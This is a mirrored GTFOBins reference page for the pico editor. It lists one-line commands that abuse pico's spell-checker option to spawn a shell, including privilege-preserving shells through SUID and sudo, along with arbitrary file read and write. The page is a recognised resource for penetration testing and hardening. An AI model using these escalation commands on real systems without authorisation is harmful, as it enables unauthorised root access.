This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2026-01-23 16:41:33 +01:00
Code
Issues
0b62b20891
GTFOBins.github.io
/
_gtfobins
/
pico.md
Emilio Pinna
dd337b5ddf
Adopt new function names
2018-10-05 18:55:38 +01:00
557 B
Raw
Blame
History
functions
shell
file-write
file-read
suid
sudo
code
TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF pico -s $TF /etc/hosts ^T
code
pico file_to_write DATA ^O
code
pico file_to_read
code
TF=$(mktemp) echo 'exec sh -p' > $TF chmod +x $TF ./pico -s $TF /etc/hosts ^T
code
TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF sudo pico -s $TF /etc/hosts ^T